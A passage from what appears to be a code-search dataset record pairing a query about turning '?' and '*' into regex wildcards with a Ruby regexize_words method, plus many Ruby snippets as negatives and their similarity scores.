board[coord.first][coord.last]}.join(\"\")\n end", "def to_s\n \"#{@x} #{@y} #{@orientation}\"\n end", "def to_s\n @squares.map do |row|\n row.map(&:to_s).join(\" \")\n end.join(\"\\n\")\n end", "def to_s\n \"#{@x}/#{@y}\"\n end", "def create_word(board, *coords) # takes an argument of board, and coords (can hold however many coords as the user inputs)\n coords.map { |coord| board[coord.first][coord.last]}.join(\"\") # essentially returns everything in the range between the fist and last coordinate, and joins them together as one string.\nend", "def to_s\n \"(#{@x.map(&:to_s).join(\" + \")})\"\n end", "def to_s\n\t\ts=String.new\n\t\ts << \"[\"\n\t\tfor i in (0...@fil.to_i)\n\t\t\ts << \"[#{posx[i]},#{posy[i]},#{valor[i]}]\"\n\t\tend\n\t\ts << \"]\"\n\tend", "def to_s\n if @latitude >= 0\n latitude = @latitude.to_s + \" N\"\n else\n latitude = @latitude.abs.to_s + \" S\"\n end\n if @longitude >= 0\n longitude = @longitude.to_s + \" E\"\n else\n longitude = @longitude.abs.to_s + \" W\"\n end\n \"( \" + latitude + \", \" + longitude + \" )\"\n end", "def quote_array(value)\n \"(#{value.map { |entry| quote_value(entry) }.join(', ')})\"\n end", "def to_coordinates\n [latitude, longitude]\n end", "def to_s\n \"[#{@vector.join(\", \")}]#{@column ? \"T\" : \"\"}\"\n end", "def to_s\n \"#{key}#{array}\"\n end", "def to_s\n format \"#{self.class.name} [%3.3f, %3.3f]\", x, y\n end", "def to_s\n \"#{south_latitude} #{west_longitude} #{north_latitude} #{east_longitude}\"\n end", "def getline_fromcoords(array)\n array.collect {|x,y| @tbls[:notformated][x][y].to_i}\n end", "def create_word(board, *coords)\n coords.map { |coord| board[coord.first][coord.last]}.join(\"\")\nend", "def create_word(board, *coords)\n coords.map { |coord| board[coord.first][coord.last]}.join(\"\")\nend", "def create_word(board, *coords)\n coords.map { |coord| board[coord.first][coord.last]}.join(\"\")\nend", "def create_word(board, *coords)\n coords.map { |coord| board[coord.first][coord.last]}.join(\"\")\nend", "def create_word(board, *coords)\n coords.map { |coord| board[coord.first][coord.last]}.join(\"\")\nend", "def to_s\n @vertices.to_s\n end", "def array_to_sentence_string(array, connector = T.unsafe(nil)); end", "def create_linestring(coords)\n Rails.logger.debug \"RgeoGeometryAdapter Creating line string geometry from #{coords.inspect}\"\n a = []\n coords.each do |c|\n a << @geometry_factory.point(c.first, c.last) unless c.empty?\n end\n @geometry_factory.line_string(a)\n end", "def to_s # :nodoc:\n \"#{ self.lattitude },#{ self.longitude } #{ self.radius }\"\n end", "def to_s()\n [@nombre, @gei, @terreno, @proteinas, @lipidos, @glucidos]\n end", "def create_word(board, *coords)\n coords.map { |coord| board[coord.first][coord.last]}.join(\"\") \nend", "def to_s\n \"(#{cols},#{rows})\"\n end", "def create_word(board, *coords)\n coords.map { |coord| board[coord.first][coord.last]}.join(\"\")\nend", "def create_word(board, *coords)\n coords.map { |coord| board[coord.first][coord.last]}.join(\"\")\nend", "def create_word(board, *coords) \n\tcoords.map { |coord| board[coord.first][coord.last]}.join(\"\") \nend", "def coords\n [x, y]\n end", "def to_coordinates\n coords = send(self.class.geocoder_options[:coordinates])\n coords.is_a?(Array) ? coords.reverse : []\n end", "def array_string(array, **opt)\n list_separator = opt[:list_separator] || LIST_SEPARATOR\n normalized_list(array, **opt).join(list_separator)\n end", "def create_word(board, *coords)\n coords.map { |coord| board[coord.first][coord.last]}.join(\"\")\n end", "def create_word(board, *coords)\n coords.map { |coord| board[coord.first][coord.last]}.join(\"\")\n end", "def create_word(board, *coords)\n coords.map { |coord| board[coord.first][coord.last]}.join(\"\")\n end", "def create_word(board, *coords)\n coords.map { |coord| board[coord.first][coord.last]}.join(\"\")\n end", "def create_word(board, *coords)\n coords.map { |coord| board[coord.first][coord.last]}.join(\"\")\n end", "def create_word(board, *coords)\n coords.map { |coord| board[coord.first][coord.last]}.join(\"\")\n end", "def create_word(board, *coords)\n coords.map { |coord| board[coord.first][coord.last]}.join(\"\")\n end", "def location_s\n # Order matters.\n [\n location[:address],\n location[:city],\n location[:state_acronym],\n location[:country]\n ].compact.join(\", \")\n end", "def to_s\n \"p(#{x}, #{y})\"\n end", "def indices2coords(i,j)\n row = i2row(i)\n col = j2col(j)\n \"#{row}#{col}\"\n end", "def to_openscad\n \"[#{points.collect { |p| p.to_openscad }.join(', ')}]\"\n end", "def geom_coords\n# self.geom.geometry_n(0).y.to_s + \" \" + self.geom.geometry_n(0).x.to_s\n \"\" + self.latitude.to_s + \" \" + self.longitude.to_s\n end", "def create_word(board, *coords)\n\tcoords.map { |coord| board[coord.first][coord.last]}.join(\"\")\nend", "def create_word(board, *coords)\n\tcoords.map { |coord| board[coord.first][coord.last]}.join(\"\")\nend", "def to_s\n @board_array.flatten.join(\"\")\n end" ]
[ "0.8205263", "0.7376249", "0.71039295", "0.6951293", "0.6951293", "0.6805087", "0.6591", "0.6564189", "0.6493919", "0.64008385", "0.63897854", "0.63897854", "0.6381906", "0.6376638", "0.6374646", "0.6354835", "0.6306641", "0.6293592", "0.6277354", "0.62730765", "0.62689066", "0.6218518", "0.61941135", "0.6154532", "0.6111613", "0.6068948", "0.60407776", "0.60239863", "0.6015973", "0.6000175", "0.5970781", "0.5966273", "0.58979034", "0.58715814", "0.5864013", "0.5864013", "0.586195", "0.5861758", "0.58449036", "0.58383995", "0.5837837", "0.58295256", "0.5827871", "0.5824386", "0.5822551", "0.5822527", "0.58224386", "0.58169556", "0.5815171", "0.58137345", "0.57999724", "0.57998306", "0.5798437", "0.5761602", "0.57555693", "0.5754127", "0.5734661", "0.5733379", "0.57243764", "0.5708612", "0.5702013", "0.57014245", "0.5698196", "0.56945765", "0.5682088", "0.5677704", "0.56693083", "0.5663192", "0.5663192", "0.5663192", "0.5663192", "0.5663192", "0.5658781", "0.565843", "0.5657947", "0.5643551", "0.56424564", "0.5631359", "0.56313133", "0.55921197", "0.55921197", "0.5581201", "0.55710757", "0.5561935", "0.55566776", "0.55491394", "0.55491394", "0.55491394", "0.55491394", "0.55491394", "0.55491394", "0.55491394", "0.55450547", "0.55449677", "0.5532972", "0.5532869", "0.5530313", "0.5528709", "0.5528709", "0.55257654" ]
0.65903986
7
Replaces ? and with \w? and \w in each word so that it could be used as the regex to support wildcard letter matching.
def regexize_words(words) words.each {|word|word.gsub!(/(\?|\*)/, '\w\1')} end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def regexize_words(words)\n return '' if !words.is_a?(Array) && !words.is_a?(String)\n words = [words] if words.is_a?(String)\n words = words.reject{ |w| !w.is_a?(String) || w.empty? }\n return '' if words.empty?\n words = '(?:' + words.map{ |w| \"(?:\\\\b#{Regexp.escape(w.strip)}\\\\b)\" }.join('|') + ')'\nrescue\n ''\nend", "def danish(str)\n str.sub(/\\b*apple|cherry|blueberry\\b*/, 'danish')\nend", "def replacements\n new_words = []\n @words.each do |word|\n @word = word || '' \n length.times do |i|\n ('a'..'z').each { |c| new_words << \"#{@word[0...i]}#{c}#{@word[i+1..-1]}\" }\n end\n end\n new_words\n end", "def danish(text)\n p text.sub(/\\b(apple|cherry|blueberry)\\b/, 'danish')\nend", "def titleize(text)\n little_word = [\"and\", \"the\"]\n text.gsub(/[[:alpha]]+/) { |x| little_word.include?(x) & (Regexp.last_match.begin(0)> 0)? x : x.capitalize\n }\n\nend", "def apply_replacements(word)\n @replacements.each do |pattern, target|\n word.gsub!(pattern, target)\n end\n \n word\n end", "def escape_special_characters(word)\n LUCENE_SPECIAL_CHARS.each do |c|\n word.gsub!(c, \"\\\\#{c}\")\n end\n\n # need to use a block since doing gsub without a block with a '+' doesn't work\n word.gsub!('+') {|m| '\\+'}\n end", "def replace_chinese_words!\n self.gsub!(WORD_REGEXP.__value__) { |word| yield word }\n end", "def autocorrect(input)\n input.gsub(/(\\byou+\\b|\\bu\\b)/i, 'your sister')\nend", "def danish(str)\n str.sub(/\\b(apple|blueberry|cherry)\\b/, 'danish')\nend", "def danish(string)\n string.sub(/\\b(apple|blueberry|cherry)\\b/, 'danish')\nend", "def danish(string)\n string.sub(/\\b(apple|blueberry|cherry)\\b/, 'danish')\nend", "def danish(string)\n string.sub(/\\b(apple|blueberry|cherry)\\b/, 'danish')\nend", "def wordprep(word)\n return word.gsub(/\\W/,'').downcase.chars.sort.join\nend", "def forward_word\n #forward_regex(/[[:punct:][:space:]]\\w/)\n forward_regex(:word)\n end", "def normalize_synonyms(text_string)\n text_string.gsub(/\\s(Av|Ave|av|ave)\\.\\s/, \" Avenue \")\n #text_string.gsub(/\\s(W)\\.\\s/, \" West \")\n #ext_string.gsub(/\\s(Av|Ave|av|ave)\\.\\s/, \" Avenue \")\n #text_string.gsub(/\\s(Av|Ave|av|ave)\\.\\s/, \" Avenue \")\nend", "def word_pattern(pattern, input)\n \nend", "def join_multi_word_names(author_text)\n author_text.gsub(/\\b((?:van|von|der|den|de|di|le|el))\\s/si) {\n \"#{$1}_\"\n }\n end", "def replace_word_in_text(text, orignal_word, replaced_word)\n regex = %r[\\b#{orignal_word}\\b]\n text.gsub(regex, replaced_word)\nend", "def replacements word\n n = word.length\n new_words = []\n n.times {|i| ('a'..'z').each {|l| new_words << word[0...i]+l.chr+word[i+1..-1] } }\n new_words\n end", "def join_multi_word_names(author_text)\n author_text.gsub(/\\b((?:van|von|der|den|de|di|le|el))\\s/i) {\n \"#{$1}_\"\n }\n end", "def sanitize_sql_like(text, escape_character = '\\\\')\n text.to_s.gsub(/(^|.)([%_])/) do |s|\n ($1 == escape_character) ? s : [$1, escape_character, $2].compact.join\n end\n end", "def replace_vowels_with_question_mark(word)\nend", "def autocorrect(input)\n input.gsub(/\\b(you+|u)\\b/, 'your sister')\nend", "def sanitize_name(str)\n str.gsub(' ','_').downcase.gsub(\"&\", \"and\")\n end", "def replace_correct_letters\n result = @secret_word\n @secret_word.split('').each do |letter|\n unless @characters_guessed_correctly.include? letter\n result = result.gsub(letter, '_')\n end\n end\n @word_guessed = result\n result\n end", "def prep_text_for_match_query(text,exclude_dblquote=false,remove_weak_terms=true)\r\n result = text.dup\r\n result.downcase! # downcase for stop_words removal\r\n result.gsub!(\"'s\",'')\r\n remove_punctuation_proper!(result,exclude_dblquote)\r\n # result.gsub!(/([^\\s]+)/) { |word|\r\n # weak_term?(word) ? '' : word\r\n # } if remove_weak_terms\r\n # result\r\n # #!? check terms as adverbs?\r\n words = result.split(/\\W/)\r\n if remove_weak_terms\r\n words = words.select {|w| !weak_term?(w) }\r\n end\r\n words.compact!\r\n words.join(\" \")\r\n end", "def pig_it(str)\n str.gsub(/(\\w)(\\w+)*/, '\\2\\1ay')\nend", "def pig_it text\n text.gsub(/(\\w)(\\w+)*/, '\\2\\1ay')\nend", "def pig_it text\n text.gsub(/(\\w)(\\w+)*/, '\\2\\1ay')\nend", "def reverse_words(string)\n string.gsub(/\\w+/) { |match| match.reverse }\nend", "def alphanumeric_words\n /([a-zA-Z0-9]*\\w)/\n end", "def escape_wildcards(unescaped)\n case ActiveRecord::Base.connection.adapter_name\n when \"Mysql2\".freeze\n # Necessary for MySQL\n unescaped.to_s.gsub(/([\\\\%_])/, '\\\\\\\\\\\\1')\n when \"PostgreSQL\".freeze\n # Necessary for PostgreSQL\n unescaped.to_s.gsub(/([\\\\%_.])/, '\\\\\\\\\\\\1')\n else\n unescaped\n end\n end", "def word_substituter(string)\n# dictionary.has_key(\"hello\") == true\n replace= []\n \n replace << string.split.each do |word| \n if dictionary.has_key?(\"#{word}\") == true\n word.replace(dictionary[\"#{word}\"])\n else word\n \n end\n \n end \n replace.flatten.join(\" \")\nend", "def word_substituter(tweet_string)\n tweet_array = tweet_string.split(\" \")\n dictionary.keys.each do |word|\n tweet_array.map! { |w| w.downcase == word ? dictionary[word] : w }\n end\n tweet_array.join(\" \")\nend", "def word_substituter(tweet)\n tweet.split.map { |word| \n dictionary[word.downcase] || word }.join(\" \")\n end", "def sanitize_like(string, escape_character = \"\\\\\")\n pattern = Regexp.union(escape_character, \"%\", \"_\")\n string.gsub(pattern) { |x| [escape_character, x].join }\nend", "def escape_wildcards(unescaped)\n case ActiveRecord::Base.connection.adapter_name\n when \"Mysql2\", \"PostgreSQL\"\n # Necessary for PostgreSQL and MySQL\n unescaped.to_s.gsub(/([\\\\|\\%|.])/, '\\\\\\\\\\\\1')\n else\n unescaped\n end\n end", "def escape_wildcards\n gsub(/\\\\/, '\\\\\\\\').gsub(/\\*/, '\\*')\n end", "def replace_white_space keyword\n\tkeywords = []\n\tkeywords << keyword.gsub(' ', '+')\n\tkeywords << keyword.gsub(' ', '-')\n\tkeywords << keyword.gsub(' ', '_')\n\tkeywords << keyword.gsub(' ', '%20')\n\tkeywords << keyword.gsub(' ', '')\n\n\tkeywords\nend", "def word_substituter(tweet)\n newtweet = tweet.split \n dictionary.each do |phrase, subs|\n newtweet.map! do |word|\n if word == phrase\n word = subs\n elsif \n word == phrase.capitalize\n word = subs\n else \n word = word\n end\n end\n end \n newtweet.join(\" \")\nend", "def titleize(s)\n#Nous créons un tableau avec tous les petits mots “end” ‘and’ ‘the’\nl_w = %w(end and the)\n\n#On met en majuscule chaque première lettre des mots entrées\nreturn s.capitalize.gsub(/(\\w+)/) do |word|\n#Met en maj les mots qui ne sont pas dans le tableau l_w\n l_w.include?(word) ? word : word.capitalize\n end\n end", "def escape_like(term)\n \"%#{term.gsub(/(?=[\\\\%_])/, '\\\\')}%\"\n end", "def autocorrect(string)\n\tword_array = string.split\n\tword_array.map! {|w| w.gsub(/^you+\\b|^u\\b/i, \"your sister\")}.join(\" \")\nend", "def modify_text(book_text, string_values)\n string_values.each do |search_string, change_string|\n regex = %r[#{search_string}]\n book_text = book_text.gsub(regex, change_string)\n end\n\n return book_text\nend", "def cleanup(str)\n str.gsub(/\\W+/, ' ')\nend", "def process_word word\n const_match = /^[BCDFGHIJKLMNPQRSTVWXYZbcdfhhtjklmnpqrstvwxyz]+/.match(word)\n letter_match = /^[a-zA-Z]+/.match(word) #Match letters only\n other_chars = word[letter_match.to_s.length..-1]\n if const_match.to_s.length > 0\n return const_trans(letter_match.to_s, const_match) + other_chars\n else\n return vowel_trans(letter_match.to_s) + other_chars \n end\n \n end", "def whisper_words(words)\n\treturn words.map {|word| word.downcase + \"...\"}\nend", "def whisper_words(words)\n return words.map { |word| word.downcase + \"...\" }\nend", "def handle_special_characters(text)\n\n if text.include?(\"'\") then\n text.gsub!(\"'\",\"_\")\n end\n if text.include?(\"\\\\\") then\n text.gsub!(\"\\\\\",\"_\")\n end\n\n text\n end", "def whisper_words(words)\n return words.map { |word| word.downcase + \"...\" }\nend", "def display_word(word, triedchars)\n res = \"\"\n word.split(\"\").each do |char|\n if triedchars.include?(char.upcase) or not char.match(/^[[:alpha:]]$/)\n res += char\n elsif\n res += \"_\"\n end\n end\n res\nend", "def word_substituter(tweet)\n short_tweet = tweet.split.map do |word|\n if dictionary.keys.include?(word)\n dictionary[word]\n else\n word\n end\n end\n short_tweet.join(\" \")\nend", "def cleanup(string)\n string.gsub!(/\\W+/, ' ')\nend", "def to_like(pattern)\n <<~SQL\n REPLACE(REPLACE(REPLACE(#{pattern},\n #{q('%')}, #{q('\\\\%')}),\n #{q('_')}, #{q('\\\\_')}),\n #{q('*')}, #{q('%')})\n SQL\n end", "def word_substituter(tweet_string)\n\n dictionary_hash = dictionary\n tweet_to_array = tweet_string.split\n back_to_tweet = \"\"\n\n tweet_to_array.each_with_index do |word, index|\n dictionary.each do |full, truncated|\n if full.to_s == word\n tweet_to_array[index] = truncated\n end\n end\n end\n back_to_tweet = tweet_to_array.join(\" \")\n return back_to_tweet\n\nend", "def wikify(word)\n begin\n word = word.gsub(/^[a-z]|\\s+[a-z]/) { |a| a.upcase }\n word = word.gsub(/\\s/, '')\n word.underscore\n rescue => e\n puts e.inspect\n puts e.backtrace\n end\n end", "def url_search\n params[:q].gsub(\"*\", \"%2A\")\n end", "def double_consonants(str)\n str.gsub(/([a-z&&[^aeiou]])/i,'\\1\\1')\nend", "def word_substituter(string)\ntweet=string.split(\" \")\ni = 0 \nwhile i < tweet.length \nif dictionary.keys.include?(tweet[i].downcase)\ntweet[i] = dictionary[tweet[i].downcase]\nend \ni+=1\nend\ntweet.join(\" \")\nend", "def reverse_words(string)\n string.gsub(/\\w+/) { |word| word.reverse! } \n end", "def pig_it(text)\n text.gsub(/\\b([a-z0-9]?)([a-z0-9]+)\\b/i, '\\2\\1ay')\n # text.gsub(/\\b([a-z0-9])([a-z0-9]+)*\\b/i, '\\2\\1ay')\n # text.gsub(/([a-z0-9])([a-z0-9]+)*/i, '\\2\\1ay')\nend", "def sanitize_sql_like(string, escape_character = '\\\\')\n pattern = Regexp.union(escape_character, '%', '_')\n string.gsub(pattern) { |x| [escape_character, x].join }\n end", "def whisper_words(words)\nreturn words.map{ |elem| elem.downcase + \"...\"}\nend", "def word_replace word, first_word\n if word =~ /^[A-Z]*$/ then\n \"_PROPER_\"#proper names\n elsif word =~ /^[A-Z|\\.]*$/ then\n if first_word then\n \"_FIRST_\"\n else\n \"_FNOCO_\" #first name or companies\n end\n elsif word =~ /^[A-Z].+$/ then\n if first_word then\n \"_FIRST_NAME_\"\n else\n \"_NAME_\"\n end\n elsif word =~ /^[0-9|\\-]*$/ then\n \"_NUM_\" #number\n else\n \"_RARE_\"\n end\nend", "def replace_dashes_with_hyphens(text)\t\t\t\n\ttext.gsub!(/(?<=[a-zA-Z])-(?=[a-zA-Z])/,'\\hyp ')\n\t\n\ttext.scan(/\\*\\*(.*?)\\*\\*/).each do |match|\n\t\tdamaged = match[0]\n\t\trepaired = damaged.gsub('\\hyp ','-')\n\t\ttext.gsub!(damaged,repaired)\n\tend\t\n\n\ttext.scan(/\\[\\[(.*?)\\]\\]/).each do |match|\n\t\tdamaged = match[0]\n\t\trepaired = damaged.gsub('\\hyp ','-')\n\t\ttext.gsub!(damaged,repaired)\n\tend\n\t\n\ttext.scan(/cite{(.*?)}/).each do |match|\n\t\tdamaged = match[0]\n\t\trepaired = damaged.gsub('\\hyp ','-')\n\t\ttext.gsub!(damaged,repaired)\n\tend\t\n\n\ttext\nend", "def make_regexp\n @intent = self.intent\n regexp = self.pattern.dup.downcase\n words = regexp.split(\" \")\n words.each do |word|\n if word.include? '/'\n regexp = regexp.gsub(word,\"(#{word})\")\n\n end\n\n end\n regexp = regexp.gsub('/',\"|\")\n regexp = regexp.gsub('^ ','.{0,60}').gsub(' ^','.{0,60}').gsub(' *','.{1,60}').gsub('* ','.{1,60}').gsub('^','.{1,60}').gsub(' [','.{0,60}[')\n regexp = regexp.gsub(' .{0,60}','.{0,60}')\n regexp = regexp.gsub(' .{1,60}','.{1,60}')\n regexp = '.{0,60}' + regexp + '.{0,60}'\n self.regexp = regexp\n chunks = self.pattern.split(' ')\n chunks.each do |ch|\n result= Regexp.new(/\\[.{0,12}\\]/) =~ ch\n if(result==0)\n set = WordSet.find_by_keyword(ch[1..-2])\n str = '(' + set.words.join('|') + ')'\n regexp = self.regexp.gsub(ch,str)\n self.regexp = regexp\n end\n end\n self.save\n end", "def censor(sentence, curse_words)\n words = sentence.split(\" \")\n\n asterisked_words = words.map do |word|\n if curse_words.include?(word.downcase)\n asterisked_word(word)\n else\n word\n end\n end\n\n asterisked_words.join(\" \")\nend", "def sanitize(q)\n # Escape special characters\n # http://lucene.apache.org/core/4_8_1/queryparser/org/apache/lucene/queryparser/classic/package-summary.html#package_description#Escaping_Special_Characters\n escaped_characters = Regexp.escape('\\\\+-&|!(){}[]^~*?:\\/')\n q = q.gsub(/([#{escaped_characters}])/, '\\\\\\\\\\1')\n\n # AND, OR and NOT are used by lucene as logical operators. We need\n # to escape them\n ['AND', 'OR', 'NOT'].each do |word|\n escaped_word = word.split('').map {|char| \"\\\\#{char}\" }.join('')\n q = q.gsub(/\\s*\\b(#{word.upcase})\\b\\s*/, \" #{escaped_word} \")\n end\n\n # Escape odd quotes\n if q.count('\"') % 2 == 1\n q = q.gsub(/(.*)\"(.*)/, '\\1\\\"\\2')\n end\n\n q\n end", "def nj_reverse_words(str)\n str.gsub(/\\w{5,}/, &:reverse)\nend", "def pig_latin_word(word)\r\n\tif word[0].downcase =~ /[aeiou]/\r\n\t\tword << \"way\" \r\n\telse\r\n\t\tn = /[aeiou]/.match word.downcase\r\n\t\tn.to_s + n.post_match + n.pre_match + \"ay\"\r\n\tend\r\nend", "def prepare(tokens); tokens.map { |x| x.gsub(/_/, ' ') } end", "def cleanup(str)\n str.gsub(/\\W+/,' ')\nend", "def word_substituter(tweet)\n tweet.split.collect do |word|\n if dictionary.keys.include?(word.downcase)\n word = dictionary[word.downcase]\n else\n word\n end\n end.join(\" \")\nend", "def replace_and(business)\n return business.gsub(\"&\", \"and\")\n end", "def word_substituter(tweet) \n\tfinal_tweet_array = []\n\ttweet_array = tweet.split(\" \")\n\tkeys = dictionary.keys\n\ttweet_symbols = []\n\ttweet_array.each do |word|\n\t\ttweet_symbols << word.to_sym\n\tend\n\tshortened_tweet_array = []\n\ttweet_symbols.each do |symbol|\n\t\tif keys.include?(symbol)\n\t\t\tsymbol = dictionary[symbol]\n\t\t\tshortened_tweet_array << symbol\n\t\telse\n\t\t\tshortened_tweet_array << symbol\n\t\tend\n\tend\n\tshortened_tweet_array.each do |symbol|\n\t\tfinal_tweet_array << symbol.to_s\n\tend\n\tfinal_tweet_array.join(\" \")\nend", "def sanitize_me(string)\n string = string.split(\" \")\n collection = []\n string.each do |word|\n collection << word.gsub(/[^A-Za-z]/,\"\").chars.sort.join\n end\n collection.join(\" \")\nend", "def mystery_math2(string)\n string.gsub(/[+\\-*\\/]/, '?')\nend", "def clean_up(string)\n arr = string.split\n final_arr = []\n new_arr = arr.map do |word|\n word.scan(/\\w/).join\n end\n new_arr.each do |word|\n if word != \"\"\n final_arr << word\n end\n end\n final_arr.join(' ')\nend", "def match_pattern(pattern_ary, key = master_key.dup)\n words = []\n pattern_map.each do |word, ary|\n add = true \n if ary == convert_to_pattern(pattern_ary)\n temp = pattern_ary.dup\n temp.each_with_index do |num, i| \n temp[i] = key[num] if key.keys.include?(num) && key[num] != \"?\" \n end\n word.split(\"\").each_with_index do |letter, i|\n if letter?(temp[i])\n add = false if letter != temp[i] \n elsif key.values.include?(letter)\n add = false unless key[temp[i]] == letter\n end\n end\n words << word if add\n end\n end\n words\n end", "def search_terms(*words)\n terms = []\n words.each { |word| terms.push \"'%#{word.gsub(/[^a-z]/i, '').strip}%'\" }\n return nil if terms.empty?\n return 'description ILIKE ' + terms.join(' AND description ILIKE ')\nend", "def censor_word(word)\n vowels = \"aeiou\"\n\n censored = word.split(\"\").map do |char|\n if vowels.include?(char.downcase)\n char = \"*\"\n else \n char \n end \n end \n\n censored.join(\"\")\nend", "def whisper_words(words)\n\treturn words.map { |word| word.downcase + \"...\" }\nend", "def whisper_words(words)\r\n return words.map { |ele| ele.downcase + \"...\" }\r\nend", "def sub_word(string)\n array = string.split\n array.each do |word|\n word.gsub!(/\\bt[oo]\\b/, \"2\")\n #word.gsub!(\"too\", \"2\")\n word.gsub!(\"for\", \"4\")\n word.gsub!(\"four\", \"4\")\n word.gsub!(\"you\", \"u\")\n word.gsub!(\"at\", \"/@\")\n word.gsub!(\"and\", \"&\")\n end\nend", "def match_title_all_words(match_string, reject = false)\n text = match_string.downcase || \"\"\n words = text.split\n res = words.map { |w| Regexp.new(/\\b#{w}/i) }\n proc = Proc.new { |entry|\n clean_title = entry.title ? entry.title.downcase : \"\"\n res.collect { |re|\n !!(clean_title =~ re)\n }.inject(:&)\n }\n reject ? self.entries.reject(&proc) : self.entries.find_all(&proc)\n end", "def word_with_guesses\n guesses_list = @guesses.to_s\n guesses_rx = /[^ #{guesses_list}]/\n @masked = @word.gsub(guesses_rx, \"-\")\n @masked.scan(/[a-z\\-]/).join\n end", "def sanitize_similar_to_value(value)\n value.gsub(/[\\\\_%|*+?{}()\\[\\]]/) { |x| \"\\\\#{x}\" }\n end", "def word_substituter(tweet)\n\ntweet_array = tweet.split(/ /)\ndictionary_keys = dictionary.keys\nshort_tweet_array = []\n tweet_array.each do |x|\n #for every x in array that matches dictionary.key replace with the value\n if dictionary_keys.include?(x.downcase) == true\n # look for x as key and substitute it for the values in short_tweet_array\n short_tweet_array.push(dictionary.values_at(x.downcase))\n else\n short_tweet_array.push(x)\n end\n end\nshort_tweet_array.flatten!\nshort_tweet_array.join(\" \")\n\nend", "def remove_non_words_and_downcase str\n # \\W means charcaters not in range [a-zA-z0-9_]\n # dash '-' is removed, but underscore '_' is kept\n # whitespace is not part of \\w so they are removed, too!\n str.downcase\n .gsub(/\\W/, '')\nend", "def escape_like(str)\n str.gsub(/[!%_]/){ |x| '!' + x }\n end", "def match_title_any_word(match_string, reject = false)\n text = match_string.downcase || \"\"\n words = text.split\n res = words.map { |w| Regexp.new(/\\b#{w}/i) }\n proc = Proc.new { |entry|\n clean_title = entry.title ? entry.title.downcase : \"\"\n res.collect { |re|\n !!(clean_title =~ re)\n }.inject(:|)\n }\n reject ? self.entries.reject(&proc) : self.entries.find_all(&proc)\n end", "def asterisked(word)\n vowels = [\"a\", \"e\", \"i\", \"o\", \"u\"]\n new_word = \"\"\n word.each_char do |c|\n if vowels.include?(c)\n new_word << \"*\"\n else\n new_word << c\n end\n end\n new_word\nend", "def highlight_blacklisted_words\n params[:comment_text]&.gsub(/(#{Regexp.union(BLACKLISTED_WORDS).source})/i) { |s| \"<<#{s}>>\" }\n end", "def reverse_words(str)\n str.gsub(/\\w{5,}/) { |word| word.reverse }\nend", "def strip_it\n new_name = self.name.gsub(/^[^a-zA-Z]+/, '').gsub(/[^a-zA-Z]+$/, '') + \"?\"\n self.update_attribute(:name, new_name)\n end", "def double_consonants(string)\n string.gsub(/([b-df-hj-np-tv-z])/i, '\\1\\1')\nend", "def pre_escape_query(query)\n # have to include apostrophe in here too, even though it's NOT\n # in the docs reserved list (and does not generally require URI escaping,\n # in theory) -- still need to double escape it to avoid YBoss returning\n # &#39; in suggestions! \n #\n # Do not need to double escape spaces even though they do need URI escaping. \n #\n # We are telling it ONLY to escape our list of punctuation that causes\n # trouble for YBoss unless double-escaped. Which means it won't escape\n # diacritics and other non-latin. Which means the output is still UTF8, \n # but ruby URI.escape incorrectly tags it \"ascii\", which causes probelms\n # later with illegal bytes -- so we need to retag as UTF-8 \n return URI.escape(query, \"/?&;:@,$=%\\\"#*<>{}|[]^\\\\`()'\").force_encoding(\"UTF-8\")\n end", "def replace_words(text, delimiter=\" \")\n count = text.split(delimiter).count\n words(count).join(delimiter)\nend", "def kacokadekame(word)\n 'ka' + word.gsub(/([aeiouy])(?=[^aeiouy])/i, '\\1ka')\nend" ]
[ "0.61842364", "0.5702262", "0.569581", "0.5693622", "0.5658185", "0.56499785", "0.5648537", "0.5631904", "0.5621399", "0.5617135", "0.55600446", "0.55600446", "0.55600446", "0.5550716", "0.55325", "0.5494243", "0.54898304", "0.54491377", "0.54424113", "0.5403696", "0.5402677", "0.53421164", "0.5338133", "0.5307541", "0.52840585", "0.52670026", "0.5266254", "0.5262986", "0.52469736", "0.52469736", "0.5241764", "0.52310306", "0.52151614", "0.5206653", "0.5197083", "0.5189908", "0.5170302", "0.5161159", "0.515487", "0.5147602", "0.5134097", "0.5113864", "0.510988", "0.5098168", "0.50940907", "0.5084112", "0.5083704", "0.50823885", "0.5077488", "0.5071072", "0.5068632", "0.50686044", "0.5064787", "0.505969", "0.50523967", "0.5046328", "0.5039582", "0.50267494", "0.5015356", "0.5009258", "0.5008629", "0.50026006", "0.49977314", "0.49938056", "0.49925932", "0.49824947", "0.49752223", "0.49744868", "0.49742997", "0.49688983", "0.4964912", "0.49581644", "0.49565536", "0.49563402", "0.49494743", "0.49434775", "0.49389496", "0.4936473", "0.49343443", "0.49211282", "0.49207714", "0.49193144", "0.49154907", "0.49141017", "0.49130717", "0.4909814", "0.4905721", "0.48937696", "0.48920816", "0.4878004", "0.48732653", "0.48706862", "0.48628908", "0.4861053", "0.4861024", "0.4859476", "0.48559383", "0.4850283", "0.485012", "0.48461065" ]
0.74936295
0
set the partial path for the observer
def to_partial_path() "activities/#{target_type.downcase}" end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def set_partial_path\n @partial_path = params[:partial_path]\n end", "def virtual_path(path, partial)\n return path unless partial\n if index = path.rindex(\"/\")\n path.insert(index + 1, \"_\")\n else\n \"_#{path}\"\n end\n end", "def to_partial_path\n self.class._to_partial_path\n end", "def to_partial_path\n self.class._to_partial_path\n end", "def set_path(v)\n @path = v\n end", "def set_path(path)\n path\n end", "def to_partial_path\n self.class._to_partial_path(site)\n end", "def _to_partial_path\n @_to_partial_path ||= \"#{name.underscore.pluralize}/#{name.demodulize.underscore}\".freeze\n end", "def path(v)\n endpoint_info[:path] = v\n end", "def full_path\n self.read_attribute(:full_path) || self.assign_full_path\n end", "def partial_path(path)\n \"listings/form_partials/#{path}\"\n end", "def path=(value)\n @path = value\n end", "def path=(value)\n @path = value\n end", "def path=(value)\n @path = value\n end", "def path=(value)\n @path = value\n end", "def set_path(path)\n @path = path\n end", "def to_partial_path\n model_name = self.class.model_name\n \"monologue/#{model_name.route_key}/#{model_name.singular_route_key}\"\n end", "def to_partial_path\n model_name = self.class.model_name\n \"monologue/#{model_name.route_key}/#{model_name.singular_route_key}\"\n end", "def selected_path_changed path\n end", "def path=(_); end", "def path=(_); end", "def path=(_); end", "def path=(_); end", "def path=(_); end", "def path=(_); end", "def notify_path(path)\n @blk.call(:path, path, self.class::EXT)\n @path_notified = true\n end", "def append_view_path(path); end", "def append_view_path(path); end", "def to_partial_path\n \"alchemy/elements/#{name}_view\"\n end", "def prepend_view_path(path); end", "def 